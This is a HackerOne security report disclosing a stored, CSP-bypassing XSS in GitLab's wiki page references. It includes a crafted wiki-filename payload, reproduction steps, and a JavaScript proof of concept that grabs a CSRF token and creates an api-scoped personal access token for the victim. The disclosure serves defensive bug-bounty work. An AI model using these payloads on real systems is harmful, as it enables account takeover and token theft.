A CSP-bypass XSS via wiki-page reference
HackerOne report #3405832 by yvvdwf on 2025-10-30, assigned to GitLab Team:
Report | Attachments | How To Reproduce
HackerOne Analyst Summary
Summary of the Issue
This vulnerability is a stored Cross-Site Scripting (XSS) attack that bypasses Content Security Policy (CSP) protections through GitLab's wiki page reference functionality. The issue occurs because GitLab's WikiPage model uses a wiki's title (which is essentially the wiki's filename) as reference_link_text without proper sanitization. When this reference text is processed by the WikiPageReferenceFilter, malicious JavaScript code embedded in the wiki filename gets executed. The attack leverages a specially crafted filename containing iframe and srcdoc attributes to bypass CSP restrictions and execute arbitrary JavaScript code.
Steps to reproduce
-
In an existing project on
gitlab.com, or create a new project -
Add a new wiki page with the following malicious
Path:<iframe-style=display:none-srcdoc="&lt;a-id=SOURCEGRAPH_ASSETS_URL-href=..&#47;..&#47;raw&#47;main&#47;&gt;&lt;iframe-src=&#47;assets&#47;webpack&#47;sourcegraph&#47;0.0.95&#47;extensionHostFrame.html&gt;"> -
Add a
.gitattributesfile to the repository with the following content, then commit:*.bundle.js filter=lfs diff=lfs merge=lfs -text -
Add a file named
scripts/extensionHostWorker.bundle.jsto the project containing malicious JavaScript code (the reporter provided code that creates personal access tokens as a proof of concept) -
Commit this file using the following commit message that references the malicious wiki page:
XSS in this commit here [wiki_page:<iframe-style=display:none-srcdoc="&lt;a-id=SOURCEGRAPH_ASSETS_URL-href=..&#47;..&#47;raw&#47;main&#47;&gt;&lt;iframe-src=&#47;assets&#47;webpack&#47;sourcegraph&#47;0.0.95&#47;extensionHostFrame.html&gt;">] -
Click on the commit link to view the commit page
-
The JavaScript code executes automatically, demonstrating the stored XSS vulnerability
Impact statement
This stored XSS vulnerability with CSP bypass allows attackers to execute arbitrary JavaScript code on behalf of victims when they view affected commit pages or other locations where wiki page references are displayed. In the proof of concept, the attacker demonstrated the ability to automatically generate GitLab personal access tokens, which could provide API access to the victim's account and repositories. In a real-world scenario, this could enable attackers to steal sensitive information, perform actions on behalf of users (such as modifying code, accessing private repositories, or exfiltrating data), hijack user sessions, or conduct further attacks against other users. The bypass of CSP protections makes this particularly dangerous as it circumvents a key browser security mechanism designed to prevent XSS attacks.
Original Report
A CSP-bypass XSS via wikipage reference
Hello,
WikiPage uses a wiki's title, which is basically the wiki's filename, as reference_link_text:
# https://gitlab.com/gitlab-org/gitlab/-/blob/514de2d078425985af6805248dbaf8d3c6baf864/app/models/wiki_page.rb#L83
def reference_link_text(_from = nil)
human_title
end
This reference_link_text is used latter by WikiPageReferenceFilter (via AbstractReferenceFilter) without any sanitization:
### https://gitlab.com/gitlab-org/gitlab/-/blob/a3a2ca3915d53ebb2cd3c9521fc0d9e1e75064d5/lib/banzai/filter/references/abstract_reference_filter.rb#L275
def object_link_text(object, matches)
parent = project || group || user
text = object.reference_link_text(parent)
extras = object_link_text_extras(object, matches)
text += " (#{extras.join(', ')})" if extras.any?
text
end
The following malicious wiki's file name can lead to stored-XSS:
<iframe-style=display:none-srcdoc="<a-id=SOURCEGRAPH_ASSETS_URL-href=../../raw/main/><iframe-src=/assets/webpack/sourcegraph/0.0.95/extensionHostFrame.html>">
Reproduce
The following steps are to be reproduced on gitlab.com:
- Step 0: In an existing project, or create a new project
- Step 1: Add a new wiki page within the following
Path:
<iframe-style=display:none-srcdoc="<a-id=SOURCEGRAPH_ASSETS_URL-href=../../raw/main/><iframe-src=/assets/webpack/sourcegraph/0.0.95/extensionHostFrame.html>">
- Step 2: Add
.gitattributesfile in the repository using the following content, then commit the new file:
*.bundle.js filter=lfs diff=lfs merge=lfs -text
- Step 3: Add another file, naming
scripts/extensionHostWorker.bundle.jsto the project using the following content:
console.log("Demo: generate an accesss token");
async function exploit(){
const page_resp = await fetch("/-/user_settings/personal_access_tokens")
const text = await page_resp.text()
const csrf_token = text.match(/<meta name="csrf-token" content=".*?"/g)[0].split('"')[3]
console.dir("Got csrf token: " + csrf_token)
const token_resp = await fetch("/-/user_settings/personal_access_tokens", {
method: "post",
headers: {
"X-Csrf-Token": csrf_token,
"Content-Type": "application/x-www-form-urlencoded"
},
body: "personal_access_token%5Bname%5D=hi&personal_access_token%5Bscopes%5D%5B%5D=api"
})
const token = (await token_resp.json()).token
console.log("Got token: " + token)
}
exploit()
then commit this file using the following commit message:
XSS in this commit
here [wiki_page:<iframe-style=display:none-srcdoc="<a-id=SOURCEGRAPH_ASSETS_URL-href=../../raw/main/><iframe-src=/assets/webpack/sourcegraph/0.0.95/extensionHostFrame.html>">]
-
Step 4: Click on
XSS in this commitlink to open the latest commit
-
Step 5: The javascript above is executed to create a new personal token as a demo of XSS
Impact
Stored-XSS with CSP-bypass allows attackers executing any javascript-based actions on behalf of victim.
Output of checks
This bug happens on GitLab.com
Attachments
Warning: Attachments received through HackerOne, please exercise caution!
How To Reproduce
Please add reproducibility information to this section:





